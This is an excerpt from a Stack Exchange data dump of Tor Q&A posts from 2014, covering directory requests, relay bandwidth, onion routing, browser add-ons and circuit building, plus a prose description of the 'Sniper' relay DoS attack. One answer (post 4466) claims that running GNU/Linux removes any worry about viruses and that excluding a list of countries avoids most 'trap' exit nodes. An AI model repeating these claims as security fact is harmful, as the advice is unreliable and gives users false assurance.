  <row Id="4465" PostTypeId="2" ParentId="4452" CreationDate="2014-10-29T07:45:35.437" Score="1" Body="&lt;p&gt;Your assumption is correct.  Those are older clients who attempt to fetch a version 2 directory.  The current directory version is 3, and version 2 was phased out earlier this year: &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/10758&quot; rel=&quot;nofollow&quot;&gt;https://trac.torproject.org/projects/tor/ticket/10758&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're curious whether a certain URI is version 2 or 3, grep the directory protocol specification documents: &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/blob/HEAD:/dir-spec.txt&quot; rel=&quot;nofollow&quot;&gt;https://gitweb.torproject.org/torspec.git/blob/HEAD:/dir-spec.txt&lt;/a&gt; and &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/blob/HEAD:/attic/dir-spec-v2.txt&quot; rel=&quot;nofollow&quot;&gt;https://gitweb.torproject.org/torspec.git/blob/HEAD:/attic/dir-spec-v2.txt&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Oh, and here's the explanation why the failure rate seems so high: recent clients don't send requests to the directory port anymore, but create a circuit to your relay's OR port and tunnel the directory request through that.  That's why you see hardly any successful version 3 requests.  You'll get a better picture of things if you look at the extra-info descriptor that your relay publishes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, there's no easy way to find out.  You could look at your relay's data directory.  But maybe it's easiest to just fetch the most recent 20 files of &lt;a href=&quot;https://collector.torproject.org/recent/relay-descriptors/extra-infos/&quot; rel=&quot;nofollow&quot;&gt;https://collector.torproject.org/recent/relay-descriptors/extra-infos/&lt;/a&gt;, search for your relay's IP address, and look for subsequent lines starting with &quot;dirreq-&quot;.  You'll want to look at the directory protocol specification linked above to interpret the lines.&lt;/p&gt;&#xA;" OwnerUserId="119" LastActivityDate="2014-10-29T07:45:35.437" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4466" PostTypeId="2" ParentId="4447" CreationDate="2014-10-29T07:49:07.300" Score="2" Body="&lt;p&gt;There are some tips that a Tor user should pay attention to :&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Use the Tor Browser&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Tor does not protect all of your computer's Internet traffic when you run it. Tor only protects your applications that are properly configured to send their Internet traffic through Tor. To avoid problems with Tor configuration, we strongly recommend you use the Tor Browser. It is pre-configured to protect your privacy and anonymity on the web as long as you're browsing with the Tor Browser itself. Almost any other web browser configuration is likely to be unsafe to use with Tor.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Don't torrent over Tor&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Torrent file-sharing applications have been observed to ignore proxy settings and make direct connections even when they are told to use Tor. Even if your torrent application connects only through Tor, you will often send out your real IP address in the tracker GET request, because that's how torrents work. Not only do you deanonymize your torrent traffic and your other simultaneous Tor web traffic this way, you also slow down the entire Tor network for everyone else.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Don't enable or install browser plugins&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The Tor Browser will block browser plugins such as Flash, RealPlayer, Quicktime, and others: they can be manipulated into revealing your IP address. Similarly, we do not recommend installing additional addons or plugins into the Tor Browser, as these may bypass Tor or otherwise harm your anonymity and privacy. The lack of plugins means that Youtube videos are blocked by default, but Youtube does provide an experimental opt-in feature (enable it here) that works for some videos.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Use HTTPS versions of websites&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Tor will encrypt your traffic to and within the Tor network, but the encryption of your traffic to the final destination website depends upon on that website. To help ensure private encryption to websites, the Tor Browser includes HTTPS Everywhere to force the use of HTTPS encryption with major websites that support it. However, you should still watch the browser URL bar to ensure that websites you provide sensitive information to display a blue or green URL bar button, include https:// in the URL, and display the proper expected name for the website. Also see EFF's interactive page explaining how Tor and HTTPS relate.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Don't open documents downloaded through Tor while online&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The Tor Browser will warn you before automatically opening documents that are handled by external applications. DO NOT IGNORE THIS WARNING. You should be very careful when downloading documents via Tor (especially DOC and PDF files) as these documents can contain Internet resources that will be downloaded outside of Tor by the application that opens them. This will reveal your non-Tor IP address. If you must work with DOC and/or PDF files, we strongly recommend either using a disconnected computer, downloading the free VirtualBox and using it with a virtual machine image with networking disabled, or using Tails. Under no circumstances is it safe to use BitTorrent and Tor together, however.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Use bridges and/or find company&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Tor tries to prevent attackers from learning what destination websites you connect to. However, by default, it does not prevent somebody watching your Internet traffic from learning that you're using Tor. If this matters to you, you can reduce this risk by configuring Tor to use a Tor bridge relay rather than connecting directly to the public Tor network. Ultimately the best protection is a social approach: the more Tor users there are near you and the more diverse their interests, the less dangerous it will be that you are one of them. Convince other people to use Tor, too!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have some personal advice:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do not download things from  websites which do not support HTTPS. Some Tor exit nodes are traps,when you download things from  websites which do not support HTTPS,these nodes will put malicious code into things that you are downloading,than your computer will be infested.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please open a file name torrc (you can find it by using windows search) by using notepad,then add:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ExcludeNodes {cn},{hk},{mo},{sg},{th},{pk},{by},{ru},{ir},{vn},{ph},{my},{cu},{br},{kz},{kw},{lk},{ci},{tk},{tw},{kp},{sy}&#xA;ExcludeExitNodes {cn},{hk},{mo},{sg},{th},{pk},{by},{ru},{ir},{vn},{ph},{my},{cu},{br},{kz},{kw},{lk},{ci},{tk},{tw},{kp},{sy}&#xA;StrictNodes 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then you can avoid most trap nodes. I don't know your country,maybe you should add your country in the exclude list,just for safe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can change your PC's OS into GNU/Linux (like Debian), then you will not need to worry about computer virus.&lt;/p&gt;&#xA;" OwnerUserId="4969" LastEditorUserId="923" LastEditDate="2014-10-29T10:06:23.550" LastActivityDate="2014-10-29T10:06:23.550" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4469" PostTypeId="2" ParentId="4459" CreationDate="2014-10-29T13:40:53.900" Score="1" Body="&lt;p&gt;Tor is somewhat slow by design. Bouncing your traffic between three nodes before sending it out to the wider internet (6 nodes after the response is received) adds a significant amount of latency to the round trip time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To increase the bandwidth alloted to a node you run, look at the following lines in your &lt;code&gt;torrc&lt;/code&gt; file (with some large example values):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RelayBandwidthRate 300 KB&#xA;RelayBandwidthBurst 350 KB&#xA;MaxAdvertisedBandwidth 100 KB&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Sidenote&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Manually picking three relays and using them removes almost all of the benefits Tor provides. Now an attacker can simply focus on those three nodes. Persuading your friends to turn over access to their nodes, or just stealing their private keys (or performing a DOS attack, or some other form of attack) is probably going to be easier for the attacker than if you're using three random nodes as is intended.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Further reading&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;This 2009 Tor Project &lt;a href=&quot;https://blog.torproject.org/blog/why-tor-is-slow&quot; rel=&quot;nofollow&quot;&gt;blog post&lt;/a&gt; on the subject might interest you.&lt;/p&gt;&#xA;" OwnerDisplayName="user5" LastEditorDisplayName="user5" LastEditDate="2014-10-31T13:44:14.030" LastActivityDate="2014-10-31T13:44:14.030" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4471" PostTypeId="1" CreationDate="2014-10-29T19:43:50.117" Score="1" ViewCount="519" Body="&lt;p&gt;Im having trouble connecting to orweb even though my orbot says im connected to tor am i still secure? I also wanted to know if orbot secures other apps i have downloaded on my android phone&lt;/p&gt;&#xA;" OwnerUserId="4988" LastActivityDate="2016-05-10T13:16:48.460" Title="If orbot is on but orweb doesnt connect are my other apps still secure?" Tags="|orbot|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4472" PostTypeId="2" ParentId="4092" CreationDate="2014-10-29T21:27:20.017" Score="1" Body="&lt;p&gt;I'd noticed some time ago that in Cloudflare captchas, the scripts seem to be all-or-nothing. I can solve them with javascript completely disallowed, but having only some allowed results in the anomaly. Here is a test case:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RQvSP.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The box to type the solved strings into isn't present, as you can see.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just to complicate things, if I solve with zero scripts allowed and get to the site's page, then erase the site's cookies and reload the page, I can get a different problem in the subsequent captcha. Lots of combinations are possible. Oh what a tangled web they weave.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hRuJj.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="4973" LastActivityDate="2014-10-29T21:27:20.017" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4474" PostTypeId="1" AcceptedAnswerId="4475" CreationDate="2014-10-30T01:12:33.330" Score="3" ViewCount="1563" Body="&lt;p&gt;A TCP/IP packet mainly has two parts. The header and data (mostly encrypted).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When using Tor, and a packet leaves my Tor browser, where is my initial header information stored?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the destination address given to my next node is its predecessors address, how does the node after know where to transmit the packet afterwards? And how would the Exit relay know to which IP it is to finally route the traffic to?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could you please recommend a tutorial or a simple explanation online from which I can gain a proper insight about how TCP/IP packet propagation really works in Tor.&lt;/p&gt;&#xA;" OwnerUserId="4990" LastEditorUserId="88" LastEditDate="2014-10-30T08:26:06.240" LastActivityDate="2014-10-31T05:12:08.147" Title="TCP/IP Packet node-to-node propegation in Tor" Tags="|tor-browser-bundle|relays|client|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4475" PostTypeId="2" ParentId="4474" CreationDate="2014-10-30T03:18:34.130" Score="1" Body="&lt;p&gt;Well,it`s complicated,I guess these two links can help :&lt;a href=&quot;https://www.torproject.org/about/overview.html.en&quot; rel=&quot;nofollow&quot;&gt;https://www.torproject.org/about/overview.html.en&lt;/a&gt;&#xA;and &lt;a href=&quot;https://en.wikipedia.org/wiki/HTTP_Secure&quot; rel=&quot;nofollow&quot;&gt;https://en.wikipedia.org/wiki/HTTP_Secure&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Note this :&quot;Everything in the HTTPS message is encrypted, including the headers, and the request/response load. With the exception of the possible CCA cryptographic attack described in the limitations section below, the attacker can only know the fact that a connection is taking place between the two parties, already known to him, the domain name and IP addresses.&quot;So you see HTTP headers are encrypted too.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;And this:&quot;Since protocols can operate either with or without TLS (or SSL), it is necessary for the client to indicate to the server the setup of a TLS connection. There are two main ways of achieving this. One option is to use a different port number for TLS connections (for example, port 443 for HTTPS). The other is for the client to request that the server switches the connection to TLS using a protocol-specific mechanism (for example, STARTTLS for mail and news protocols).Once the client and server have agreed to use TLS, they negotiate a stateful connection by using a handshaking procedure.&quot;Look,that means servers(and tor nodes) do not need to know what contain in your HTTP headers,they just know your browser are trying to connect with them.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;This:&quot;Instead of taking a direct route from source to destination, data packets on the Tor network take a random pathway through several relays that cover your tracks so no observer at any single point can tell where the data came from or where it's going.&quot;If the requested website do not support HTTPS,then your data will be decrypted at Tor exit nodes,and these exit nodes will know all of you,include which IP address(or domain name) it is to finally route the traffic to ;otherwise I guess only the special data which only contains what server(IP address or domain name) the client(this should be your browser,in fact it becomes one of Tor exit nodes finally) tries to build a SSL/TLS connection are the only data which is decrypted at Tor exit nodes,other data(include HTTP headers) is still encrypted until it reaches the requested server finally.&#xA;I hope my explaination can help you:) &lt;/p&gt;&#xA;" OwnerUserId="4969" LastActivityDate="2014-10-30T03:18:34.130" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4477" PostTypeId="1" AcceptedAnswerId="4493" CreationDate="2014-10-30T06:10:13.587" Score="2" ViewCount="539" Body="&lt;p&gt;When using Gmail in Firefox Google Chat works fine but when Gmail is accessed through Tor, the chat doesn’t load. Moreover, it says &quot;Authentication Problem&quot; and request to log in again in a red line on top of Gmail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However it is possible to  keep on using Gmail despite of the annoying notification in red.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would be thrilled to know as to why the Google chat on the left hand side of Gmail loads when using the Tor proxy 127.0.0.1 PORT 9150 on Firefox but never loads on Tor browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for your response.&lt;/p&gt;&#xA;" OwnerUserId="4990" LastEditorUserId="1912" LastEditDate="2014-11-07T03:54:49.500" LastActivityDate="2014-11-07T03:54:49.500" Title="Loading Gmail in Tor" Tags="|socks|torsocks|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4478" PostTypeId="1" CreationDate="2014-10-30T09:29:55.627" Score="1" ViewCount="52" Body="&lt;p&gt;Suppose I add or remove a search engine from Tor Browser's search bar; will my anonymity be compromised?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried to research this by running Panopticlick before and after installing a search engine.  Although my Panopticlick &quot;score&quot; (number of bits of identifying information) seems vary a bit every time I run it, even with no changes at all to the browser (the uniqueness of my screen-size-and-color-depth setting changes by a few hundredths of a bit each time, even if I don't alter the setting at all), I see no consistent change in score before and after installing an engine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This holds regardless of whether installation of the engine entails installing an actual add-on, as, for example, the S3.Google Translator does.  So I conclude that Panopticlick probably is not capable of answering my question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the same vein, does adding bookmarks to my TB compromise anonymity?  What about changing a setting, such as the name or location of the download directory?&lt;/p&gt;&#xA;" OwnerUserId="623" LastEditorUserId="623" LastEditDate="2014-10-30T09:36:09.747" LastActivityDate="2014-10-30T09:36:09.747" Title="Does Adding or Removing Search Engines in TB's Search Bar Affect Annonymity?" Tags="|deanonymization|add-on|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4480" PostTypeId="1" CreationDate="2014-10-30T10:09:22.637" Score="14" ViewCount="78070" Body="&lt;p&gt;Does Adblock Plus behave, or does it phone home or collect information about you? I'm using Tor Browser Bundle, but I don't like ads very much, so I want to use an adblocker, so long as it's safe to do so.&lt;/p&gt;&#xA;" OwnerUserId="4899" LastActivityDate="2017-06-21T07:41:07.537" Title="Is it safe to use Adblock Plus with Tor Browser Bundle?" Tags="|tor-browser-bundle|add-on|" AnswerCount="7" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4481" PostTypeId="2" ParentId="4480" CreationDate="2014-10-30T10:51:23.117" Score="8" Body="&lt;p&gt;Don`t worry,Adblock Plus is an open-source extension ,you can see source code here :&lt;a href=&quot;https://adblockplus.org/en/contribute-code&quot;&gt;https://adblockplus.org/en/contribute-code&lt;/a&gt; If they dare to put a backdoor for collecting information,they will be reveled in a short time and no one will trust them,then their product will die. &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;edited:A open-source software doesn`t mean it will never have any backdoor or deadly bug,but compare to close-source software,it is more safety for everyone can check the code and find bugs(or backdoors)more quickly if it has them,especially when there is a big community about develop and test.Tor project have this community,Adblock Plus have it too.So I choose to trust Adblock Plus.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Someone may worry about browser fingerprinting.Yeah,add a extension makes your browser more unique than those who add nothing,but beware most ads(maybe JavaScripts,maybe iframes,maybe flash,maybe HTML5 or others)are always tracking your online activities.Those companies are tracking you,and they can`t be trusted,they are willing to sell your personal information to anyone or just give it out when the government in your country asks for it.And attackers love to put malicious code in ads(ad images or videos ) So which is more dangerous? &lt;/p&gt;&#xA;" OwnerUserId="4969" LastEditorUserId="4969" LastEditDate="2014-11-06T06:11:36.800" LastActivityDate="2014-11-06T06:11:36.800" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="4482" PostTypeId="2" ParentId="4474" CreationDate="2014-10-30T13:56:06.693" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;how does the node after know where to transmit the packet afterwards? And how would the Exit relay know to which IP it is to finally route the traffic to?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Simply put: Your client first selects the three nodes that it will use. Next, it encrypts your msg with the public key of the exit node. Then it encrypts that with the public key of the middle node, then with the public key of the entry node. It's like building up layers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As your msg enters the Tor system, the entry node decrypts it with its private key and only then discovers where to send it to next (i.e., the IP address and port for the middle node). And so on, with each node in effect &lt;em&gt;peeling&lt;/em&gt; off a layer. Hence, the name of &quot;The onion router&quot;, like peeling an onion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps. Btw, I've voted you up to help you more quickly get to the point where you can participate fully on the group. I see a main aim of this group as being advocacy for Tor, besides answering technical questions. Welcome to the struggle for privacy and freedom on the internet.&lt;/p&gt;&#xA;" OwnerUserId="4973" LastActivityDate="2014-10-30T13:56:06.693" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4483" PostTypeId="2" ParentId="4389" CreationDate="2014-10-30T22:40:57.027" Score="0" Body="&lt;p&gt;The issue is actually quite well known and is being worked on. Most of us are encouraged to use Rapport antiPhishing software. However, this currently prevents Tor from running. This being looked at I am told.&lt;/p&gt;&#xA;" OwnerUserId="4941" LastActivityDate="2014-10-30T22:40:57.027" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4484" PostTypeId="1" CreationDate="2014-10-31T01:23:42.253" Score="2" ViewCount="34" Body="&lt;p&gt;When I enter keystrokes into Unity Dash with an original Ubuntu 14.04 setup, my understanding is that these are sent to local- as well as cloud-based &quot;&lt;a href=&quot;https://wiki.ubuntu.com/SmartScopes1304Spec&quot; rel=&quot;nofollow&quot;&gt;Smart Scopes&lt;/a&gt;&quot; on Canonical servers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I configure Unity Dash to send my keystrokes through the Tor Network?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am happy to provide &quot;usage data&quot; to Canonical, but not my IP address.&lt;/p&gt;&#xA;" OwnerUserId="4995" LastActivityDate="2014-11-30T10:08:05.553" Title="Force Unity Dash and/or Smart Scopes through Tor Network?" Tags="|ubuntu|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4485" PostTypeId="2" ParentId="4480" CreationDate="2014-10-31T01:36:23.993" Score="5" Body="&lt;p&gt;A large majority of ads on today's web rely upon javascript. The Tor Browser Bundle currently includes NoScript which you can set to &quot;&lt;a href=&quot;https://www.torproject.org/docs/faq.html.en#TBBJavaScriptEnabled&quot; rel=&quot;noreferrer&quot;&gt;Forbid Scripts Globally (advised)&lt;/a&gt;.&quot; You should see far fewer ads after changing this setting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you trust TBB, I think it's justifiable to trust TBB's inclusion of NoScript as an addition that does not &quot;phone home or collect information about you&quot;.&lt;/p&gt;&#xA;" OwnerUserId="4995" LastActivityDate="2014-10-31T01:36:23.993" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4486" PostTypeId="2" ParentId="4459" CreationDate="2014-10-31T02:33:11.010" Score="4" Body="&lt;p&gt;&lt;a href=&quot;http://www.mdpi.com/1999-5903/4/2/488/htm&quot; rel=&quot;nofollow&quot;&gt;External research&lt;/a&gt; performed December 2010 to January 2011 found that &quot;The average ratio of HTTP request durations (Tor/direct) [from around the world] is 4.1.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Another observation is that the four nodes located in Germany, UK, and USA always have the fastest Tor connection compared to the other nodes.. more than 50% of all Tor nodes [were] located in these countries [at the time].&quot; &lt;a href=&quot;https://metrics.torproject.org/bubbles.html#country&quot; rel=&quot;nofollow&quot;&gt;Today, Germany, France, and Netherlands surpass the United States.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, &quot;During the timeframe of our experiments, the median value for downloading of 50 KB was reported [by &lt;a href=&quot;https://metrics.torproject.org/performance.html&quot; rel=&quot;nofollow&quot;&gt;Tor Metrics&lt;/a&gt;] as between 3 and 4 s, and for downloading of 1 MB between 9 and 15 s. Our results of downloading 50 KB were between 3 and 11 s (median), and for the download of 1 MB between 12 and 26 s (median). We see them as comparable.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that today, &lt;a href=&quot;https://metrics.torproject.org/performance.html&quot; rel=&quot;nofollow&quot;&gt;Tor Metrics reports a median value for downloading 1 MB between 1.00 and 1.25 seconds&lt;/a&gt;. This is an improvement by a factor of 10 from the time of the research cited!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for bandwidth, Tor Metrics reports that &lt;a href=&quot;https://metrics.torproject.org/bandwidth.html&quot; rel=&quot;nofollow&quot;&gt;approximately 50% of advertised network bandwidth is currently utilized&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="4995" LastEditorUserId="4995" LastEditDate="2014-10-31T02:40:45.930" LastActivityDate="2014-10-31T02:40:45.930" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4487" PostTypeId="2" ParentId="4400" CreationDate="2014-10-31T03:43:39.443" Score="2" Body="&lt;p&gt;Short answer: Yes, the Tor Browser client will select a new circuit (path) until it finds one that works.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Tor begins building circuits as soon as it has enough directory&#xA;information to do so (see section 5 of dir-spec.txt).  &#xA;&#xA;When a client application creates a new stream (by opening a SOCKS&#xA;connection or launching a resolve request), we attach it to an appropriate&#xA;open circuit if one exists, or wait if an appropriate circuit is&#xA;in-progress. We launch a new circuit only if no current circuit can handle the request.  &#xA;We rotate circuits over time to avoid some profiling attacks.&#xA;&#xA;To build a circuit, we choose all the nodes we want to use, and then&#xA;construct the circuit.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note, &lt;a href=&quot;https://gitweb.torproject.org/torspec.git?a=blob_plain;hb=HEAD;f=path-spec.txt&quot; rel=&quot;nofollow&quot;&gt;We launch a new circuit only if no current circuit can handle the request&lt;/a&gt;. However, &quot;For efficiency, the Tor software uses the same circuit for connections that happen within the same ten minutes or so. &lt;a href=&quot;https://www.torproject.org/about/overview.html.en&quot; rel=&quot;nofollow&quot;&gt;Later requests are given a new circuit&lt;/a&gt;, to keep people from linking your earlier actions to the new ones.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Tor Browser Bundle is thus accustomed to building, using, and switching circuits at least every ten minutes. More to the point, &quot;&lt;a href=&quot;https://gitweb.torproject.org/torspec.git/blob/master:/path-spec.txt&quot; rel=&quot;nofollow&quot;&gt;Prematurely closed circuits are not probed, and are counted as usage failures&lt;/a&gt;.&quot; ... &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;If an attempt to extend a circuit fails (either because the first create&#xA;failed or a subsequent extend failed) then the circuit is torn down and is&#xA;no longer pending.  (XXXX really?)  Requests that might have been&#xA;supported by the pending circuit thus become unsupported, and a new&#xA;circuit needs to be constructed.&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I assume, perhaps incorrectly, that the above holds during both &quot;construction&quot; and &quot;usage&quot; failures.&lt;/p&gt;&#xA;" OwnerUserId="4995" LastActivityDate="2014-10-31T03:43:39.443" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4488" PostTypeId="2" ParentId="4474" CreationDate="2014-10-31T05:06:50.683" Score="1" Body="&lt;p&gt;Simple answer: No.&lt;br/&gt;&#xA;Tor is not working on layer 2. Tor uses a socks proxy to receive data from applications. All TCP headers would be dropped and payload would be reassembled into &quot;cells&quot;. Destination is included in socks header and Tor puts it (only destination, not source) in relay cells so that exit relay would know your destination.&lt;br/&gt;&#xA;Application headers (e.g. HTTP header) are left in the packet, may leak your information.&lt;/p&gt;&#xA;" OwnerUserId="4894" LastEditorUserId="4894" LastEditDate="2014-10-31T05:12:08.147" LastActivityDate="2014-10-31T05:12:08.147" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4489" PostTypeId="2" ParentId="3929" CreationDate="2014-10-31T05:26:43.500" Score="2" Body="&lt;p&gt;&lt;del&gt;Exit relays will continue reading until circuit dies (in old versions) or buffer of a relay becomes too big (in new versions, &lt;a href=&quot;https://blog.torproject.org/blog/new-tor-denial-service-attacks-and-defenses&quot; rel=&quot;nofollow noreferrer&quot;&gt;intended to prevent DoS&lt;/a&gt;) .&lt;/del&gt;&lt;/p&gt;&#xA;&lt;p&gt;If you are a 'honest' client, the exit node will only make 1000 cells and then stop reading due to the hard-coded 1000-cell limit on sending window. So yes, it basically depends on something to the circuit asking for the next packet, the &lt;code&gt;RELAY_SENDME&lt;/code&gt; cell. A malicious client can do a bit more to kill the guard.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;In the efficient version, the adversary controls only a client. She creates a circuit, choosing the victim for the entry position, and then instructs the exit relay to download a large file from some external Internet server. The client stops reading on the TCP connection to the entry relay, causing it to buffer 1000 cells.&lt;/p&gt;&#xA;&lt;p&gt;The best defense, as we suggested to the Tor developers, is to implement a custom, adaptive out-of-memory circuit killer in application space (i.e. inside Tor). The circuit killer is only activated when memory becomes scarce, and then it chooses the circuit with the oldest front-most cell in its circuit queue. This will prevent the Sniper Attack by killing off all of the attack circuits.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="4894" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2017-08-14T11:30:21.057" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4490" PostTypeId="2" ParentId="4484" CreationDate="2014-10-31T07:20:49.440" Score="1" Body="&lt;p&gt;You can use 'transparent proxy' for this and route your whole OS through Tor, but keep in mind it will route everything else as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Tor wiki has the technical details for doing this:&#xA;&lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/TransparentProxy&quot; rel=&quot;nofollow&quot;&gt;https://trac.torproject.org/projects/tor/wiki/doc/TransparentProxy&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To just route the dash is tricky, I'm not sure it can be done easily.&#xA;Maybe it can be done by routing specific requests and such and let the firewall pipe it through Tor, but I have not seen such a guide for Tor before.&lt;/p&gt;&#xA;" OwnerUserId="112" LastEditorUserId="923" LastEditDate="2014-11-30T10:08:05.553" LastActivityDate="2014-11-30T10:08:05.553" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4491" PostTypeId="1" CreationDate="2014-10-31T12:15:52.617" Score="2" ViewCount="5161" Body="&lt;p&gt;I use Tor Browser Bundle, and I want to use Google Search instead of Startpage:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AMnSF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But one problem is that Google constantly shifts the language depending on your exit node IP. I want to fix that by setting &lt;code&gt;?hl=en&lt;/code&gt;, i.e. the search URL should be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;https://www.google.com/search?hl=en&amp;amp;q=%s&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I know how to edit search engines in Chrome, but in Tor Browser Bundle I couldn't find a way to specify a custom search engine with %s as a placeholder, nor did I find a way to edit the current search engines.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to set Google to always use English (&lt;code&gt;?hl=en&lt;/code&gt; does that), how can I do that in Tor Browser Bundle?&lt;/p&gt;&#xA;" OwnerUserId="4899" LastActivityDate="2014-11-08T20:14:01.650" Title="Set Tor Browser Bundle to use English Language for Google Search from the search bar" Tags="|tor-browser-bundle|google|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
